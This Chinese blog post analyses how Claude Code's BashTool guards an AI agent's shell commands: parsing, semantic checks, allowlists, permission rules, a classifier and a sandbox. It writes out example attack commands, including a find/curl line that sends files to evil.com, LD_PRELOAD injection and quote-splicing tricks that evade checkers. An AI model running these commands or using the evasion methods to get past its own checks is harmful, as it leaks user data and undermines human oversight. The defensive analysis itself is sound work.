拆解 Claude Code BashTool 的安全链路:让 AI 执行 Shell 命令,到底怎么防住它搞事

让 AI Agent 执行 shell 命令,是最危险也最有价值的能力之一。Claude Code 的实现并不是"一张黑名单 + 一个确认框",而是一条跨 AST 解析、命令语义校验、权限引擎和 OS 沙箱的多段式安全链。这篇文章按源码把这条链拆开,重点讲清它到底防了什么、靠什么防、哪些地方又不能过度神化。

一、先讲结论

Claude Code 的 Bash 安全体系,确实很强,但它不是一个简单的"8 层同级防线"模型。更准确的说法是:

  • 它是一条 AST 可信解析 -> 语义校验 -> operator/path/read-only 编排 -> 权限规则 / classifier -> 条件沙箱 串起来的安全链
  • 现版本主入口是 AST/tree-sitter fail-closed 解析,不是 legacy 的 shell-quote / 三路引号提取
  • destructive command warning 只是提示文案,不是阻断层
  • OS 沙箱也不是"每条命令必经的最后一道防线",而是按配置、平台、命令条件决定是否启用的执行隔离层

如果把源码里的真实结构压成一张图,大致更接近这样:

text 复制代码
┌──── Claude Code Bash 安全链 ────┐
│ ⑦ 条件启用的 OS 沙箱 / 网络文件隔离  │
│ ⑥ 权限规则 / classifier / ask UX     │
│ ⑤ operator / path / redirect 编排    │
│ ④ mode / sed / read-only 快速通道    │
│ ③ post-argv semantic checks          │
│ ② legacy 误解析 / 混淆检测(fallback) │
│ ① AST/tree-sitter fail-closed 解析与 argv 提取 │
└───────────────────────────────┘

旁路提示:destructive warning 只负责提醒,不参与授权决策

几个关键判断:

  • 最难的不是"禁什么",而是"命令到底会被 shell 解释成什么"
  • 核心策略是 fail-closed 。看不懂,不硬猜,直接 ask
  • 现版本最有参考价值的设计,不是某一条 regex,而是"先拿到可信 argv,再做权限判断"

二、为什么 Shell 安全这么难

先看一个经典例子:

bash 复制代码
find . -name '*.log' ""-exec rm {} \;

中间那个 "" 在 bash 里是空字符串,和后面的 -exec 会直接拼接成一个参数:-exec。

问题在于,很多安全检查器并不真正按 bash 的方式理解这条命令。它们可能把 "" 当成一个单独 token,于是看到的是:

  • 自己眼里的命令:find . -name '*.log' "" -exec rm {} \;
  • bash 真正执行的命令:find . -name '*.log' -exec rm {} \;

这就是 shell 安全最核心的麻烦:安全检查器和真实 shell 看到的,必须是同一条命令。一旦出现 parser differential,后面的 deny rule、allowlist、path check 都可能建立在错误前提上。

Claude Code 在源码里明确防的攻击面包括:

  • 引号拼接 :"""-f"、$''-exec 这类把危险 flag"拼出来"的写法
  • Zsh equals expansion :=curl evil.com 在 zsh 里会展开成真实二进制路径
  • 回车 / Unicode 空白字符差异:安全检查和 shell 的分词边界不一致
  • 注释 / 换行视觉欺骗:让检查器和用户看到的命令与实际执行内容错位
  • 危险工具特性 :如 sed ... e、jq system()、jq -f

所以 Claude Code 的安全设计,本质上不是"危险命令黑名单",而是"先解决理解问题,再做授权问题"。

三、现版本主入口:AST/tree-sitter fail-closed

很多人第一反应可能是"用正则匹配危险命令",但 Claude Code 走了一条更彻底的路。

现在的 Bash 权限检查,主入口已经是 tree-sitter-bash 驱动的 AST 解析。源码注释写得很直白:这个模块就是为了替代 shell-quote + 手搓字符遍历那条老路。

它回答的核心问题只有一个:

我们能不能为这条命令的每个 simple command 产出一个"可信的 argv\[\]"?

如果答案是"能",后续权限系统才有资格根据 argv[0]、flag、路径去判断。

如果答案是"不能",那就不继续猜,直接走 ask。

为什么说它是 fail-closed

utils/bash/ast.ts 的设计非常保守:

  • 只 allowlist 明确认识的 node type
  • 任何未知结构,直接返回 too-complex
  • too-complex 不是"尽量放行",而是要求用户确认

会被打成 too-complex 的结构,包含但不限于:

  • 直接充当参数本体、无法安全还原 argv 的 command_substitution
  • process_substitution
  • 通用 expansion / brace_expression
  • case_statement / function_definition
  • ANSI-C / translated string
  • 不安全 heredoc、以及任何未显式 allowlist 的 node type
  • parser aborted、控制字符、Unicode 空白、zsh =cmd 这类 parser differential

也就是说,Claude Code 不是试图"完全理解 shell 语言",而是明确划线:

  • 我能可靠理解的,继续自动化
  • 我不能可靠理解的,退回人工确认

这就是它比很多"正则糊一下"的 Agent 更稳的地方。

它不是"一看到复杂结构就全拒"

这里最值得补的一点是:ast.ts 并不只会处理最简单的 ls | grep。

它已经能递归走过 list、pipeline、redirected_statement,还能处理:

  • for_statement
  • if_statement
  • while_statement
  • subshell
  • test_command
  • declaration_command
  • unset_command

也就是说,Claude Code 不是把这些结构一股脑打成 too-complex,而是会继续把里面真正会执行的 simple command 抽出来做后续权限判断。

$() 也不是一律 ask。

  • 如果 $() 直接充当参数本体,比如 cd $(pwd),那确实会被打成 too-complex,因为 placeholder 会把真实路径藏掉
  • 如果 $() 只是双引号字符串的一部分,或只是赋值右值,比如 echo "SHA: $(git rev-parse HEAD)"、NOW=$(date),AST 会递归抽出内层命令,把外层 argv 保留成可继续检查的形态

源码里甚至还有一个很有意思的 carve-out:$(cat <<'EOF' ... EOF) 这种 quoted heredoc literal body,会被当成可证明安全的静态字符串,而不是简单粗暴地全部打回确认。

所以更准确的说法不是"tree-sitter 只能看 simple command",而是:

它愿意理解一部分复杂 shell 结构,但前提是它不能对 argv 语义撒谎。

AST 解析成功,也不代表直接放行

AST 成功只说明"结构可信",不说明"命令安全"。

在 bashPermissions.ts 里,AST 解析成功之后还会继续做两步:

  1. checkSemantics

    过滤那些语法上能正常 tokenize,但语义上本身就危险的东西。覆盖范围相当广:

    • eval、source(含 .)、trap、hash、fc、compgen、let 等危险 builtin
    • zmodload、sysopen、sysread、ztcp、zsocket 等 zsh 专有 builtin
    • timeout/nice/env/stdbuf/nohup/time 这类 wrapper------会被剥开外壳,对内层真实命令做独立校验
    • 数组下标求值攻击 :printf -v、declare -v、read、unset 带 NAME[...] 的形式,因为 bash 会在赋值/unset 时对下标做算术求值,a[$(evil)] 可以执行任意命令
    • \n# 换行注释混淆:argv 或环境变量中的换行 + # 可以让检查器和 shell 看到不同的命令
    • /proc/*/environ 读取:防止通过文件系统读取其他进程的环境变量(可能含 secret)
  2. 下游权限与路径校验

    即使 argv 可信,仍然要继续检查 operator、路径、read-only 规则、权限规则、沙箱状态。

所以 AST 不是"最后裁决",它是可信输入的前置条件。

四、legacy 路径并没有消失,但它已经是 fallback / 补充校验

在 tree-sitter AST 成为主入口之前,Claude Code 靠的是 shell-quote 库 + 手搓字符遍历来解析命令。这套逻辑现在仍然保留在代码里,但角色已经变了:

  • 当 tree-sitter 不可用、被 feature gate 关闭、或 injection check 被禁用时,会回退到 legacy 路径
  • legacy 路径仍然保留了大量非常有价值的误解析防护和混淆检测

legacy 路径里最经典的设计:三路引号提取

bashSecurity.ts 里确实有这一套:

typescript 复制代码
extractQuotedContent(command) => {
  withDoubleQuotes
  fullyUnquoted
  unquotedKeepQuoteChars
}

它解决的是不同安全规则需要看命令的不同"投影":

  • fullyUnquoted:看引号外是否出现 $()、反引号、${}
  • withDoubleQuotes:区分单引号和双引号里哪些扩展仍然生效
  • unquotedKeepQuoteChars:专门抓 parser differential,比如 grep 'x'#

这套设计本身没问题,只是它不再是现版本所有判断的总底座。

legacy 路径真正强的地方:误解析和混淆 hardening

这一层的真实实现比"几类 pattern"要碎得多、也更工程化。源码里能看到的检查包括:

  • shell-quote 单引号 bug 前置检测
  • 空引号拼接 flag
  • 命令替换 / 进程替换 / 参数展开
  • Zsh equals expansion
  • CR 注入
  • IFS 注入
  • /proc/*/environ 读取
  • malformed token + command separator 组合
  • quoted flag / split-quote flag / brace expansion 混淆

这也是为什么我更愿意把这部分称为:

legacy misparsing / obfuscation gate

而不是一个单独的"第①层引号解析"。

五、命令语义层:sed、jq、env、read-only allowlist、路径校验

AST 解决的是"能不能拿到可信 argv",这一层解决的是"拿到 argv 之后,这条命令到底安不安全"。

sed 是严格 allowlist,jq 不是

sed 和 jq 都是"看起来人畜无害,实际能搞大事"的命令,但 Claude Code 对它们的策略并不对称。

sed

sed 的约束确实是典型的 allowlist 思路:

  • 只读场景允许 sed -n 'Np'、sed -n 'N,Mp' 这类打印
  • 替换场景只允许严格受限的 s/pattern/replacement/flags
  • flag 只允许 g p i I m M 和单个数字
  • w/W/e/E 这类能写文件或执行命令的能力会触发 ask
  • 在 acceptEdits 模式下,才会额外允许 -i 这类原地改写

这确实是"先列出安全用法,其余全部要求确认"的 allowlist。

值得一提的是,sedValidation.ts 在 allowlist 之外还多加了一层 defense-in-depth denylist:即使某条 sed 命令侥幸通过了 allowlist 逻辑,仍然会再过一遍已知危险 pattern 的黑名单。这种"白名单 + 黑名单双保险"的设计,在安全工程里叫 belt-and-suspenders。

jq

jq 不是同一套模型。

jq 这边更像是混合策略:

  • 在 bashSecurity.ts 里直接拦 system()
  • 直接拦危险 flag:-f、--from-file、--rawfile、--slurpfile、-L、--library-path
  • 在 readOnlyValidation.ts 里,再通过 regex 限制只读形态
  • 文件参数再交给 pathValidation.ts 去做路径约束

所以更准确的说法是:

sed 是严格 allowlist;jq 是"危险功能直拦 + read-only/path 校验"的混合策略。

env

env 命令的安全处理也值得单独说。表面上 env FOO=bar cmd 只是设置环境变量,但如果不加限制,攻击者可以通过 env LD_PRELOAD=evil.so cmd 注入共享库,或者通过 env PATH=/tmp cmd 劫持命令查找路径。

Claude Code 的做法是维护一份 SAFE_ENV_VARS 白名单,只允许设置已知安全的环境变量,覆盖了:

  • Go:GOEXPERIMENT、GOOS、GOARCH、CGO_ENABLED、GO111MODULE
  • Rust:RUST_BACKTRACE、RUST_LOG
  • Node:NODE_ENV
  • Python:PYTHONUNBUFFERED、PYTHONDONTWRITEBYTECODE
  • Locale / Terminal:LANG、LC_ALL、TERM、NO_COLOR、FORCE_COLOR、TZ

不在白名单里的环境变量,checkSemantics 对 env 的 flag 校验会直接 fail-closed。这又是一个"不试图枚举所有危险值,而是只放行已知安全值"的设计。

read-only 快速通道,不只是一个 allowlist 数组

除了 sed / jq 这种命令级特例,Claude Code 还有一套很大的 read-only quick path,但它不是"一个数组 + includes()"。

更贴近源码的说法是:

它是 COMMAND_ALLOWLIST 为主、READONLY_COMMAND_REGEXES 为补充,再叠加额外危险回调和 git 专项 hardening 的组合系统。

像这些命令如果命中安全条件,通常可以走快速放行:

  • git log / git status / git diff 一类只读 git
  • rg / grep / fd
  • cat / head / tail
  • pwd / whoami

关键不只是"命令名在 allowlist 里",而是:

  • 每个 flag 都有类型约束,很多命令会走专门的 flag parser
  • 少数历史命令才会落到 regex fallback,而且 regex 前后还有额外护栏
  • 未加引号的变量展开、glob、UNC 路径、路径访问、输出重定向仍然要继续校验
  • git 还有额外 guard,比如 cd + git、bare repo、git internal path writes、sandbox 下 original cwd 限制

这套系统的设计目标很清楚:快速放行常见只读操作,但不给 flag 解析留语义漏洞。

路径约束层,不只是"路径在不在工作目录里"

pathValidation.ts 做的事远不止"检查路径在不在工作目录里":

  • 为 rm、find、git、jq、sed 等不同命令做专门路径提取
  • 正确处理 POSIX --
  • 检查危险删除路径
  • 检查输出重定向
  • 在 compound command 里,如果有 cd 再叠加写操作,会走更保守的策略

这里一个很重要的点是:

destructive path 和 allowed working path 是两套不同概念。

也就是说,就算某个路径在允许目录内,像 rm -rf / 这种"危险移除路径"仍然会被单独拦。

六、权限引擎:规则匹配、operator 编排、classifier、sandbox auto-allow

再往后,才是很多人第一反应里的"权限系统"。

1. 规则不是只有 allow / deny 两个按钮

bashPermissions.ts 的决策顺序相当复杂,至少包括:

  • exact deny / ask / allow
  • prefix / wildcard deny / ask / allow
  • prompt-based classifier 规则
  • operator / pipe / redirect 的特殊处理
  • path constraints
  • read-only allow
  • 默认 ask

其中 prompt-based classifier 是个很有意思的设计:它用一个轻量级 LLM(Haiku)对命令做语义级别的分类判断,弥补纯规则系统"只能看语法、看不出意图"的局限。比如一条命令语法上完全合法、flag 也都在 allowlist 里,但组合起来的意图明显有问题------这种 case 靠规则很难穷举,但 classifier 有可能捕获。

这就是为什么 Claude Code 的 Bash 权限不是"看一眼命令前缀就决定",而是一个编排器。

2. pipe / redirect / compound command 会单独处理

源码里有专门的 checkCommandOperatorPermissions()。

原因很现实:
echo x | xargs ... >> file 这种命令,不能只看每一段子命令都"好像没问题",还必须把原始命令上的重定向目标、cd 影响、组合执行关系一起算进去。

这类地方如果偷懒,只按 split('|') 或"逐段判断"处理,很容易留下真实漏洞。

3. 裸 shell prefix 不会被建议保存

Claude Code 明确把一批"给了前缀就近似给了任意执行权"的命令列进 BARE_SHELL_PREFIXES,范围相当宽:

  • shell 解释器:sh / bash / zsh / fish / csh / tcsh / ksh / dash / cmd / powershell / pwsh
  • wrapper:env / xargs / nice / stdbuf / nohup / timeout / time
  • 提权工具:sudo / doas / pkexec

原因很简单:这类前缀一旦配成 Bash(bash:*)、Bash(env:*),用户相当于给了"执行任意后续命令"的大权限。

更准确的表述应该是:

它们不会被系统主动建议保存,因为这会大幅削弱整套安全链。

但如果用户手动硬配超宽规则,比如 Bash(*),那当然仍然能把很多保护意义降到很低。

4. 还有一个经常被忽略的点:sandbox auto-allow

源码里有一条很实用的分支:

  • 如果 sandbox 已启用
  • 并且 autoAllowBashIfSandboxed 也启用
  • 并且这条命令确实会在 sandbox 中执行

那某些 Bash 调用可以不弹确认,直接因为"会在沙箱里运行"而放行。

但它不是无条件压过规则的"超级白名单"。源码里会先检查 full-command 和 subcommand 上的显式 deny / ask 规则,只有这些都没命中时,sandbox auto-allow 才真正生效。

这意味着 Claude Code 的真实授权逻辑,并不是"先授权,再决定要不要 sandbox",而是两者会互相影响。

七、destructive warning 只是提示层,不是授权层

这是很多人容易误解的一处。

destructiveCommandWarning.ts 文件顶部就写了:

这是 purely informational,不影响 permission logic 或 auto-approval。

它做的事情是给权限弹窗附上一句风险说明,例如:

  • git reset --hard
  • git push --force
  • rm -rf
  • DROP TABLE
  • kubectl delete
  • terraform destroy

它的价值当然存在,但它解决的是:

"让用户和模型在确认时更清楚风险是什么"

而不是:

"独立承担一层阻断式安全决策"

所以我建议把它理解成风险提示侧信道,而不要跟 AST / path validation / permission rules 并列成同一种"防线"。

八、OS 沙箱:很重要,但它是条件启用的执行隔离层

很多介绍会把沙箱写成"最后一道必经防线",但这个说法过强。

shouldUseSandbox() 的逻辑很明确,只要出现下面任一情况,就会返回 false:

  • sandbox 没开
  • 上层 SandboxManager 判定当前平台 / 依赖下 sandbox 实际不可用
  • 用户显式传了 dangerouslyDisableSandbox
  • 命中了 excludedCommands(注意这更像用户便利开关,不是 security boundary)

所以更准确的说法是:

沙箱是 Claude Code 的重要执行隔离层,但不是每条命令都会经过。

沙箱到底防什么

当它启用时,防线确实很硬,因为这是 OS 级约束,不再只是"逻辑上认为不该执行"。

源码里能直接看到的保护点包括:

  • denyWrite Claude 自己的 settings 文件
  • denyWrite .claude/skills
  • 处理 bare git repo 相关路径:HEAD、objects、refs、hooks、config
  • 网络域名 allow / deny / blockAll

其中对 git 的保护尤其值得一提。这里不是简单"把 .git 全禁写"这么粗暴,而是专门针对:

  • planted bare repo
  • core.fsmonitor
  • hook / config 导致的后续执行链

做了更细的 deny / scrub 处理。

沙箱也不是万能的

源码里沙箱支持平台是:

  • macOS
  • Linux
  • WSL2+

而且是否真正启用,还受依赖和设置影响。

这意味着它不是一个"天然存在的安全常量",而是一个需要被确认已启用、已生效、依赖齐全的能力。

九、一个更贴近源码的攻击视角

比起把整条链硬画成"8 层都依次拦一遍",我更建议按攻击类型来理解。

场景 A:结构本身不可静态分析

bash 复制代码
echo $(curl http://evil.com)
cd $(pwd)

这类命令在 AST 路径里会命中"bare command_substitution"场景,直接变成 too-complex,然后 ask。

原因不是它看到了 $() 就恐慌,而是:

  • 这里的 $() 输出本身就是参数
  • 如果把它替换成 placeholder,真实路径 / flag 就会从后续校验里消失

重点不是"证明它一定恶意",而是:

Claude Code 拒绝在拿不到可信 argv 的情况下继续自动化。

场景 B:命令结构可理解,但能力边界危险

bash 复制代码
find . -name '*.tmp' -exec curl http://evil.com -d @{} \;

这类命令未必会在 AST 层直接挂掉,因为结构可能是可解析的;但它仍然很难进入"只读快速通道",后续还会经过:

  • find 危险能力约束
  • operator / compound command 编排
  • 路径和重定向校验
  • 权限规则匹配
  • 如果启用了 sandbox,再受网络和文件系统约束

这才是"纵深"的真实含义:

不是每层都拦同一种风险,而是不同层分别处理"能否理解""是否只读""是否越权""是否隔离执行"。

十、局限与坑

1. shell 永远比静态规则更复杂

Claude Code 现在已经比大多数 Agent 走得更远,但它仍然不可能"完美理解所有 shell 行为"。

它真正靠谱的地方,不是声称自己全懂,而是:

  • 遇到不懂的结构就 ask
  • 尽量缩小"自动放行"那部分命令的语法范围

2. legacy 路径仍然存在,意味着维护成本也还在

虽然 AST 已经是主入口,但 legacy misparsing / obfuscation 那套逻辑并没有完全删除。

这意味着:

  • 系统比"纯 AST"更稳
  • 但也意味着安全逻辑分散在多处模块里,维护难度更高

3. 50 个 subcommand 上限,本质上是安全与性能折中

源码里有 MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50。

在 legacy splitCommand 路径下,超过这个 fanout,Claude Code 会直接 ask,避免在极端 compound command 上继续展开分析。

这不是"漏洞",而是典型的工程取舍:

宁可多问一次,也不在超长命令上冒误判风险。

4. 用户配置仍然可能削弱保护

如果用户手动配置过宽的规则,例如:

  • Bash(*)
  • Bash(bash:*)
  • Bash(env:*)

那整套系统当然会被削弱。

Claude Code 做到的是:

  • 不主动建议这种规则
  • 尽量让默认路径更安全

但它终究不是强制管控平台,最后还是允许用户自己承担配置后果。

十一、最后总结

Claude Code 这套 Bash 安全设计,最值得抄的不是某几个正则,而是三个更底层的工程原则:

  1. 先拿到可信语义,再谈授权

    这也是为什么 tree-sitter / AST fail-closed 会成为现版本主入口。

  2. 把"只读自动化"收得很窄,把"不确定"统一打回确认

    这比"先大胆放,再出事了加黑名单"要成熟得多。

  3. 逻辑校验和执行隔离要并存

    仅有规则,没有 sandbox,不够;仅有 sandbox,没有可信 argv 和权限编排,也不够。

如果你在做自己的 Agent,我觉得最该抄的不是某个 deny pattern,而是这个问题:

你的安全检查,看到的和 shell 真正执行的,究竟是不是同一条命令?

如果这个问题还答不上来,那第一课通常不是多写几条规则,而是先把解析这件事做对。

最后一个感受:Claude Code 这套系统最让我印象深刻的,不是某个单点设计有多巧妙,而是它在**"安全"和"可用"之间找到了一个工程上可持续的平衡点**。既没有为了安全把 Bash 能力阉割到不能用,也没有为了体验把安全做成摆设。这种"在正确的层做正确粒度的检查"的设计哲学,比任何具体的 regex 都更值得学。

相关推荐
sell-cloud2 小时前
Prompt Engineering要凉了?Fable 5.5能“猜“意图,但银行正在封杀AI Agent——企业AI的真正护城河是什么
人工智能·prompt
Navicat中国4 小时前
Navicat 18 内置 AI 助手让数据库开发从繁琐操作迈向智能协作
大数据·人工智能·数据库开发
4SAPI4 小时前
多模型请求路由怎么设计?成本、速度和能力如何平衡
人工智能·python·gateway·php
魔乐社区4 小时前
翼芯・智算测试与适配优化专区,让国产算力“选得准、跑得通、用得好“
人工智能·开源·大模型
XCDoris6 小时前
郴州logo设计机构
大数据·人工智能·python
Goboy6 小时前
一个人带三个Agent,我用全新TRAE从0到1搭了个资讯周刊站
人工智能·trae
俊哥V6 小时前
每日 AI 研究简报 · 2026-10-19
人工智能·ai
AI_AGENT_DEV_AI6 小时前
AI英语教培智能体的开发
人工智能
物联网软硬件开发-轨物科技7 小时前
【技术白皮书】光伏清检一体化机器人系统解决方案技术白皮书
大数据·运维·网络·人工智能·机器人
海宇数据7 小时前
零信任架构实战:基于海宇网上踪迹欺诈行为识别构建自动化信贷资信评估网关
运维·人工智能·架构·自动化